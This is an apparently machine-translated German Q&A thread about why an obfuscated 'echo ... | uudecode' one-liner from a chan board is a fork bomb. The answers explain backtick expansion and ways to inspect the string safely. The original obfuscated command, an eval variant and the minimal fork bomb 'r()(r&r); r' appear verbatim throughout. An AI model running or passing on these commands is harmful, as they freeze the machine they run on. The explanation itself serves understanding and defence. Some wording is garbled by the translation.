Wie und warum ist diese Textfolge eine Gabelbombe?

11179
Mikey T.K.

Gefunden auf einem zufälligen Chan-Board:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode 

Irgendwie führt dies zu einem unendlich langen Laichprozess, der zügellos abläuft und die Maschine zum Stehen bringt. Ich sehe etwas über "su", das versucht, mehrmals hingerichtet zu werden.

..was seltsam ist, denn ich würde nur erwarten, dass Text ausgegeben wird, nicht die Ausführung von irgendetwas.

Wenn Sie diesen Text über einen Online-Decoder ausführen, erhalten Sie nur eine Ladung binärer Ausgabe:

uudecode result

Was macht dieses Durcheinander aus Text, und gibt es eine Möglichkeit, es "sicher" anzusehen?

129
Warum wird "su" mehrmals hingerichtet? Brent Washburne vor 8 Jahren 0
Ein Tipp: Laufen Sie keinen Code von zufälligen Chan-Boards und seien Sie dankbar, dass es nur eine Gabelbombe war. rr- vor 8 Jahren 34
Heh. Zum Glück war ich auf einer Schnappschuss-VM, die aus Expressgründen gemacht wurde, um mit möglicherweise feindseligem Müll wie diesem herumzuspielen. Mikey T.K. vor 8 Jahren 19
Ich weiß, dass dies nicht zum Thema gehört, aber kann man die Tafel und den Kontext erwähnen, in dem der Befehl erwähnt wurde? Sebi vor 8 Jahren 0
@Sebi - https://archive.rebeccablacktech.com/g/thread/45564403 Pikamander2 vor 8 Jahren 1

3 Antworten auf die Frage

188
John1024

Zuerst betrachten wir den gesamten Befehl:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode 

Es enthält eine doppelte Anführungszeichenfolge, an die Echo gesendet wird uudecode. Beachten Sie jedoch, dass sich in der doppelten Anführungszeichenfolge eine in Anführungszeichen stehende Zeichenfolge befindet. Diese Zeichenfolge wird ausgeführt . Die Zeichenfolge lautet:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r` 

Wenn wir uns das anschauen, sehen wir drei Befehle:

rYWdl & r()(Y29j & r{,3Rl7Ig} & r{,T31wo}) r 

Durchführen Klammer Expansion auf dem mittleren Befehl, haben wir:

rYWdl & r()(Y29j & r r3Rl7Ig & r rT31wo) r 

Die erste Zeile versucht, einen Unsinnbefehl im Hintergrund auszuführen. Das ist unwichtig.

Die zweite Zeile ist wichtig: Sie definiert eine Funktion, rdie beim Ausführen zwei Kopien von sich selbst startet. Jede dieser Kopien würde natürlich zwei weitere Kopien starten. Und so weiter.

Die dritte Linie läuft rund die Gabelbombe startet.

Der Rest des Codes außerhalb der zurück zitierten Zeichenfolge ist für die Verschleierung nur Unsinn.

So führen Sie den Befehl sicher aus

Dieser Code kann sicher ausgeführt werden, wenn die Funktionsebene verschachtelt wird. Dies kann mit der bash- FUNCNESTVariable erfolgen. Hier setzen wir es auf 2und dies stoppt die Rekursion:

$ export FUNCNEST=2 $ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode bash: rYWdl: command not found bash: Y29j: command not found bash: r: maximum function nesting level exceeded (2) bash: r: maximum function nesting level exceeded (2) bash: r: maximum function nesting level exceeded (2) bash: Y29j: command not found bash: r: maximum function nesting level exceeded (2) bash: Y29j: command not found uudecode fatal error: standard input: Invalid or missing 'begin' line 

Die obigen Fehlermeldungen zeigen, dass (a) die Unsinnbefehle rYWdlund Y29jnicht gefunden werden, (b) die Gabelbombe wiederholt von FUNCNEST gestoppt wird und (c) die Ausgabe von echonicht mit beginnt beginund folglich keine gültige Eingabe für ist uudecode.

Die Gabelbombe in ihrer einfachsten Form

Wie würde die Gabelbombe aussehen, wenn wir die Verschleierung entfernen würden? Wie njzk2 und gerrit vorschlagen, würde es wie folgt aussehen:

echo "`r()(r&r);r`" 

Wir können das noch weiter vereinfachen:

r()(r&r); r 

Das besteht aus zwei Anweisungen: Eine definiert die Gabelbombe-Funktion rund die zweite Läufe r.

Der gesamte andere Code, einschließlich der Pipe to uudecode, diente nur zur Verschleierung und zur Fehlleitung.

Die ursprüngliche Form hatte noch eine weitere Fehlleitung

Das OP hat einen Link zur Channel-Diskussion gegeben, in der dieser Code erschienen ist. Wie dort dargestellt, sah der Code folgendermaßen aus:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode) 

Beachten Sie einen der ersten Kommentare zu diesem Code:

Ich bin darauf reingefallen. Es wurde nur der Teil kopiert, der wiederholt und entschlüsselt wird, aber dennoch mit einem Gabelbombe versehen wurde

In dem Formular auf der Channel-Karte würde man naiv denken, dass das Problem die evalAnweisung sein würde, die auf die Ausgabe von wirkt uudecode. Dies würde zu der Annahme führen, dass das Entfernen evaldas Problem lösen würde. Wie wir oben gesehen haben, ist dies falsch und gefährlich.

Verschwunden! Ich hätte nie gedacht, ob ich Muschelkügelchen / Expansion in der Mitte des Echo-Strings erwägen würde. Mikey T.K. vor 8 Jahren 6
Ich denke, es wäre gut zu wissen, dass "uudecode" hier völlig irrelevant ist. Für einen Moment dachte ich, dass "uudecode" eine String-Interpolation mit zurück zitierten Strings durchführt, was sie grundsätzlich unsicher machen würde, aber die Gabelbombe passiert, bevor uudecode überhaupt startet. gerrit vor 8 Jahren 30
... und * dieses *, meine Damen und Herren, ist die Sicherheit in Shell-Skripten so verdammt schwer. Selbst völlig harmlos aussehende Sachen können dich töten. (Stellen Sie sich vor, ob dies eine Benutzereingabe von irgendwo war ...) MathematicalOrchid vor 8 Jahren 28
@MathematicalOrchid Es erfordert tatsächlich einen nicht trivialen Aufwand, um zu veranlassen, dass in Benutzereingaben hinterlegtes Material in einem Shell-Skript ausgeführt wird. Und wenn Sie ein Shell-Skript aus Benutzereingaben _konstruieren, sollten Sie es besser wissen, als es in Anführungszeichen zu setzen. Random832 vor 8 Jahren 22
@ Random832 Es hängt davon ab, wie viel Ahnung die Person hat, die das Skript geschrieben hat. : - / Wenn Sie Ihre ersten Schritte mit Shell-Scripting unternehmen, gibt es viele Möglichkeiten, sich in den Fuß zu schießen. MathematicalOrchid vor 8 Jahren 2
In seiner einfachsten Form wäre es also etwas wie "echo" \ "r () (rr); r \" "`? njzk2 vor 8 Jahren 0
@ njzk2 Du benötigst noch ein `&` dort: `echo" \ `r () (r & r); r \` "`. gerrit vor 8 Jahren 5
@gerrit danke. Ohne das "&" sah das seltsam aus. Ich denke, der Verschleierungsteil hat an mir gearbeitet. njzk2 vor 8 Jahren 1
Ich wusste nicht, was Back-Ticks in Shell getan haben, und fand einen verwandten Link: http://unix.stackexchange.com/a/27432 Luminous vor 8 Jahren 2
@MathematicalOrchid Ich denke, Random832 hat den Standpunkt, dass die Backtick-Erweiterung nicht rekursiv geschieht. Wenn Sie `echo $ userinput 'ausführen und die Eingabe Backticks enthält, wird der Code darin nicht ausgeführt. Die einzige Erweiterung, die beim Erweitern einer Variablen ausgeführt wird, ist das Globbing und das Aufteilen von Wörtern (und diese werden unterdrückt, wenn Sie die Variable in doppelte Anführungszeichen setzen). Barmar vor 8 Jahren 2
Tatsächlich. echo "$ uservariable" führt keine Backtick-Erweiterung durch, wenn Uservariable Backticks enthält. Joshua vor 8 Jahren 0
@MathematicalOrchid, es sei denn, Sie machen etwas Dummes wie das Ausführen von "eval" (oder ein moralisches Äquivalent wie "sh -c" oder "ssh" $ host "" some_command $ untrusted_user_data "`) für eine Zeichenfolge, die eine Nutzereingabe enthält, die " Wenn Sie mit `printf% q` bereinigen, ist es absolut sicher. In der Tat kommen viele häufige Fehler bei der Shell-Programmierung von Leuten, die die Regeln nicht verstehen, die zum Schutz vor Sprüngen zu früheren Punkten im Analyseprozess entwickelt wurden. Charles Duffy vor 8 Jahren 1
Um dies zu verdeutlichen, ist nichts in dieser Sache, außer der zurückgesprochenen Zeichenfolge. Mit anderen Worten, wenn Sie `echo \ 'rYWdl & r () ausführen würden (Y29j & r {, 3Rl7Ig} & r {, T31wo}); r \` `hätte das gleiche Ergebnis? Duncan X Simpson vor 8 Jahren 0
10
gerrit

Um den zweiten Teil Ihrer Frage zu beantworten:

... gibt es eine Möglichkeit, sie "sicher" anzusehen?

Um diese Zeichenfolge zu entschärfen, ersetzen Sie die äußeren Anführungszeichen durch einfache Anführungszeichen und lassen Sie die einzelnen Anführungszeichen in der Zeichenfolge durch. Auf diese Weise führt die Shell keinen Code aus, und Sie übergeben alles direkt an uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;== $ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode uudecode fatal error: standard input: Invalid or missing 'begin' line 

Weitere Alternativen sind in den Kommentaren aufgeführt:

kasperd schlug vor :

$ uudecode I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;== [press <Ctrl>+D] uudecode fatal error: standard input: Invalid or missing 'begin' line 

Jacob Krall schlug vor, einen Texteditor zu verwenden, den Inhalt einzufügen und diese Datei dann an uudecode zu übergeben.

Alternativ: Geben Sie "uudecode" in die Befehlszeile ein. Drücken Sie Enter. Kopieren und Einfügen der zu decodierenden Zeichenfolge. kasperd vor 8 Jahren 5
Eine andere Alternative: Verwenden Sie einen Texteditor, um den Inhalt in einer Datei zu speichern. Öffnen Sie diese Datei mit "uudecode". Jacob Krall vor 8 Jahren 3
Dank an beide habe ich diese Alternativen in der Antwort notiert. gerrit vor 8 Jahren 0
Vergewissern Sie sich, dass der String nicht wie `` echo "foo`die`bar'`die`'baz" `` first! Das heißt, wenn es `` `s enthält, reicht es nicht aus, die Anführungszeichen durch einfache Anführungszeichen zu ersetzen. wchargin vor 8 Jahren 1
5
Paramaeleon

Auf den ersten Blick denken Sie vielleicht, dass die Ausgabe an die Shell niemals ausgeführt wird . Das stimmt immer noch . Das Problem ist bereits in der Eingabe . Der Haupttrick hier ist, was Programmierer Vorrang vor Operator nennen . In dieser Reihenfolge versucht die Shell, Ihre Eingabe zu verarbeiten:

1. " " 2. rYWdl 3. & 4. r()(Y29j&r{,3Rl7Ig}&r{,T31wo})  5. ;  6. r  7. ` `  8. I<RA('1E<W3t 26<F]F;==  9. echo  10. |  11. uudecode 
  1. Erstellen Sie den String, indem Sie alle darin enthaltenen Backticks-Befehle ausführen.
  2. Normalerweise ein unbekannter Befehl, der zu einer Ausgabe führen würde. Wenn 'rYWdl' kein Tippfehler ist, können Sie den Befehl nicht gefunden verwenden, um das Paket zu suchen, in dem sich das Paket befindet. (Abhängig vom System)
  3. Führt 2. im Hintergrund aus. Sie werden nie eine Ausgabe sehen.
  4. Definieren Sie die Funktion der Gabelbombe.
  5. Kommando-Trennzeichen
  6. Lass die Gabelbombe laufen.
  7. Fügen Sie das Ergebnis von 6. in den String ein. (Wir kommen nie hierher.)

Der Fehler ist zu glauben, echodass der erste Befehl uudecodeder zweite Befehl ist . Beide werden niemals erreicht.

Fazit: Doppelte Anführungszeichen sind auf der Shell immer gefährlich.